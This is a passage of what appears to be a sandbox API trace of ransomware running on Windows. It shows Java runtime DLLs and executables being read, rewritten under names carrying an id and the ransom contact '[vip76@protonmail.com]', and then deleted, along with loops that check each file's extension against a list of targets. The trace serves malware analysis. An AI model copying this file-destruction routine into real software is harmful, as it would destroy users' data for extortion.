	[0206.813] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.813] SetEndOfFile (hFile=0x354) returned 1
	[0206.819] CloseHandle (hObject=0x354) returned 1
	[0206.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0206.819] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 1
	[0206.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0206.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0206.820] lstrlenW (lpString=".doc") returned 4
	[0206.820] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0206.820] lstrlenW (lpString=".docx") returned 5
	[0206.820] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0206.820] lstrlenW (lpString=".pdf") returned 4
	[0206.820] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0206.820] lstrlenW (lpString=".xls") returned 4
	[0206.820] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0206.820] lstrlenW (lpString=".xlsx") returned 5
	[0206.820] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0206.820] lstrlenW (lpString=".ppt") returned 4
	[0206.820] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0206.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0206.820] lstrlenW (lpString=".zip") returned 4
	[0206.820] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0206.820] lstrlenW (lpString=".rar") returned 4
	[0206.820] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0206.820] lstrlenW (lpString=".bz2") returned 4
	[0206.820] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0206.821] lstrlenW (lpString=".7z") returned 3
	[0206.821] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0206.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0206.821] lstrlenW (lpString=".dbf") returned 4
	[0206.821] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0206.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0206.821] lstrlenW (lpString=".1cd") returned 4
	[0206.821] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0206.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0206.821] lstrlenW (lpString=".jpg") returned 4
	[0206.821] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0206.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0206.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0206.821] lstrlenW (lpString=".doc") returned 4
	[0206.821] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0206.821] lstrlenW (lpString=".docx") returned 5
	[0206.821] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0206.821] lstrlenW (lpString=".pdf") returned 4
	[0206.821] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0206.821] lstrlenW (lpString=".xls") returned 4
	[0206.821] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0206.821] lstrlenW (lpString=".xlsx") returned 5
	[0206.821] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0206.821] lstrlenW (lpString=".ppt") returned 4
	[0206.821] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0206.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0206.821] lstrlenW (lpString=".zip") returned 4
	[0206.821] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0206.821] lstrlenW (lpString=".rar") returned 4
	[0206.821] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0206.821] lstrlenW (lpString=".bz2") returned 4
	[0206.821] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0206.822] lstrlenW (lpString=".7z") returned 3
	[0206.822] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0206.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0206.822] lstrlenW (lpString=".dbf") returned 4
	[0206.822] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0206.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0206.822] lstrlenW (lpString=".1cd") returned 4
	[0206.822] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0206.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0206.822] lstrlenW (lpString=".jpg") returned 4
	[0206.822] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0206.822] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0206.822] lstrlenW (lpString="net.dll") returned 7
	[0206.822] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0206.823] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=96832) returned 1
	[0206.823] CloseHandle (hObject=0x354) returned 1
	[0206.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 0x20
	[0206.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0206.823] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0206.823] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.823] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.823] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0206.824] GetLastError () returned 0x0
	[0206.824] ReadFile (in: hFile=0x354, lpBuffer=0x3f91020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesRead=0x353fecc*=0x17a40, lpOverlapped=0x0) returned 1
	[0206.830] WriteFile (in: hFile=0x358, lpBuffer=0x3f91020*, nNumberOfBytesToWrite=0x17a50, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesWritten=0x353fc94*=0x17a50, lpOverlapped=0x0) returned 1
	[0207.233] ReadFile (in: hFile=0x354, lpBuffer=0x3f91020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.233] WriteFile (in: hFile=0x358, lpBuffer=0x3f91020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesWritten=0x353fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0207.233] SetEndOfFile (hFile=0x358) returned 1
	[0207.370] CloseHandle (hObject=0x358) returned 1
	[0207.370] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.370] SetEndOfFile (hFile=0x354) returned 1
	[0207.376] CloseHandle (hObject=0x354) returned 1
	[0207.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0207.377] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 1
	[0207.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0207.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0207.379] lstrlenW (lpString=".doc") returned 4
	[0207.379] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0207.379] lstrlenW (lpString=".docx") returned 5
	[0207.379] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0207.379] lstrlenW (lpString=".pdf") returned 4
	[0207.379] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0207.379] lstrlenW (lpString=".xls") returned 4
	[0207.379] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0207.379] lstrlenW (lpString=".xlsx") returned 5
	[0207.379] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0207.379] lstrlenW (lpString=".ppt") returned 4
	[0207.379] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0207.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0207.380] lstrlenW (lpString=".zip") returned 4
	[0207.380] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0207.380] lstrlenW (lpString=".rar") returned 4
	[0207.380] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0207.380] lstrlenW (lpString=".bz2") returned 4
	[0207.380] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0207.380] lstrlenW (lpString=".7z") returned 3
	[0207.380] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0207.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0207.380] lstrlenW (lpString=".dbf") returned 4
	[0207.380] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0207.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0207.380] lstrlenW (lpString=".1cd") returned 4
	[0207.380] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0207.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0207.380] lstrlenW (lpString=".jpg") returned 4
	[0207.380] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0207.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0207.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0207.380] lstrlenW (lpString=".doc") returned 4
	[0207.380] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0207.380] lstrlenW (lpString=".docx") returned 5
	[0207.380] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0207.380] lstrlenW (lpString=".pdf") returned 4
	[0207.380] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0207.380] lstrlenW (lpString=".xls") returned 4
	[0207.381] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0207.381] lstrlenW (lpString=".xlsx") returned 5
	[0207.381] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0207.381] lstrlenW (lpString=".ppt") returned 4
	[0207.381] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0207.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0207.381] lstrlenW (lpString=".zip") returned 4
	[0207.381] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0207.381] lstrlenW (lpString=".rar") returned 4
	[0207.381] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0207.381] lstrlenW (lpString=".bz2") returned 4
	[0207.381] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0207.381] lstrlenW (lpString=".7z") returned 3
	[0207.381] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0207.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0207.381] lstrlenW (lpString=".dbf") returned 4
	[0207.381] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0207.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0207.381] lstrlenW (lpString=".1cd") returned 4
	[0207.381] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0207.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll") returned 46
	[0207.381] lstrlenW (lpString=".jpg") returned 4
	[0207.381] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0207.381] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0207.381] lstrlenW (lpString="pack200.exe") returned 11
	[0207.381] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0207.382] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=16448) returned 1
	[0207.382] CloseHandle (hObject=0x358) returned 1
	[0207.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 0x20
	[0207.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.382] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0207.382] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.382] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.382] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0207.383] GetLastError () returned 0x0
	[0207.383] ReadFile (in: hFile=0x358, lpBuffer=0x3f91020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesRead=0x353fecc*=0x4040, lpOverlapped=0x0) returned 1
	[0207.407] WriteFile (in: hFile=0x368, lpBuffer=0x3f91020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesWritten=0x353fc94*=0x4050, lpOverlapped=0x0) returned 1
	[0207.409] ReadFile (in: hFile=0x358, lpBuffer=0x3f91020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.409] WriteFile (in: hFile=0x368, lpBuffer=0x3f91020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesWritten=0x353fc94*=0xea, lpOverlapped=0x0) returned 1
	[0207.409] SetEndOfFile (hFile=0x368) returned 1
	[0207.409] CloseHandle (hObject=0x368) returned 1
	[0207.409] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.409] SetEndOfFile (hFile=0x358) returned 1
	[0207.410] CloseHandle (hObject=0x358) returned 1
	[0207.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0207.410] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 1
	[0207.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0207.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0207.411] lstrlenW (lpString=".doc") returned 4
	[0207.411] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0207.411] lstrlenW (lpString=".docx") returned 5
	[0207.411] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1
	[0207.411] lstrlenW (lpString=".pdf") returned 4
	[0207.411] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0207.411] lstrlenW (lpString=".xls") returned 4
	[0207.411] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0207.411] lstrlenW (lpString=".xlsx") returned 5
	[0207.411] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1
	[0207.411] lstrlenW (lpString=".ppt") returned 4
	[0207.411] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0207.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0207.411] lstrlenW (lpString=".zip") returned 4
	[0207.411] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0207.411] lstrlenW (lpString=".rar") returned 4
	[0207.411] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0207.411] lstrlenW (lpString=".bz2") returned 4
	[0207.411] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0207.411] lstrlenW (lpString=".7z") returned 3
	[0207.411] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0207.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0207.411] lstrlenW (lpString=".dbf") returned 4
	[0207.411] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0207.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0207.411] lstrlenW (lpString=".1cd") returned 4
	[0207.411] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0207.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0207.412] lstrlenW (lpString=".jpg") returned 4
	[0207.412] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0207.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0207.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0207.412] lstrlenW (lpString=".doc") returned 4
	[0207.412] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0207.412] lstrlenW (lpString=".docx") returned 5
	[0207.412] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1
	[0207.412] lstrlenW (lpString=".pdf") returned 4
	[0207.412] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0207.412] lstrlenW (lpString=".xls") returned 4
	[0207.412] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0207.412] lstrlenW (lpString=".xlsx") returned 5
	[0207.412] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1
	[0207.412] lstrlenW (lpString=".ppt") returned 4
	[0207.412] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0207.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0207.412] lstrlenW (lpString=".zip") returned 4
	[0207.412] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0207.412] lstrlenW (lpString=".rar") returned 4
	[0207.412] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0207.412] lstrlenW (lpString=".bz2") returned 4
	[0207.412] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0207.412] lstrlenW (lpString=".7z") returned 3
	[0207.412] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0207.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0207.412] lstrlenW (lpString=".dbf") returned 4
	[0207.412] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0207.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0207.412] lstrlenW (lpString=".1cd") returned 4
	[0207.412] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0207.412] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50
	[0207.413] lstrlenW (lpString=".jpg") returned 4
	[0207.413] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0207.413] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0207.413] lstrlenW (lpString="npjp2.dll") returned 9
	[0207.413] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0207.414] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=234560) returned 1
	[0207.414] CloseHandle (hObject=0x358) returned 1
	[0207.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 0x20
	[0207.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.414] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0207.414] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.414] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.414] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0207.437] GetLastError () returned 0x0
	[0207.437] ReadFile (in: hFile=0x358, lpBuffer=0x3f91020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesRead=0x353fecc*=0x39440, lpOverlapped=0x0) returned 1
	[0207.447] WriteFile (in: hFile=0x368, lpBuffer=0x3f91020*, nNumberOfBytesToWrite=0x39450, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesWritten=0x353fc94*=0x39450, lpOverlapped=0x0) returned 1
	[0207.453] ReadFile (in: hFile=0x358, lpBuffer=0x3f91020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.453] WriteFile (in: hFile=0x368, lpBuffer=0x3f91020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f91020*, lpNumberOfBytesWritten=0x353fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0207.453] SetEndOfFile (hFile=0x368) returned 1
	[0207.453] CloseHandle (hObject=0x368) returned 1
	[0207.453] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.453] SetEndOfFile (hFile=0x358) returned 1
	[0207.455] CloseHandle (hObject=0x358) returned 1
	[0207.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0207.456] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 1
	[0207.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0207.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll") returned 56
	[0207.456] lstrlenW (lpString=".doc") returned 4
	[0207.456] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0207.456] lstrlenW (lpString=".docx") returned 5
	[0207.456] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0207.456] lstrlenW (lpString=".pdf") returned 4
	[0207.456] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0207.456] lstrlenW (lpString=".xls") returned 4
	[0207.456] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0207.456] lstrlenW (lpString=".xlsx") returned 5
	[0207.456] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0207.456] lstrlenW (lpString=".ppt") returned 4
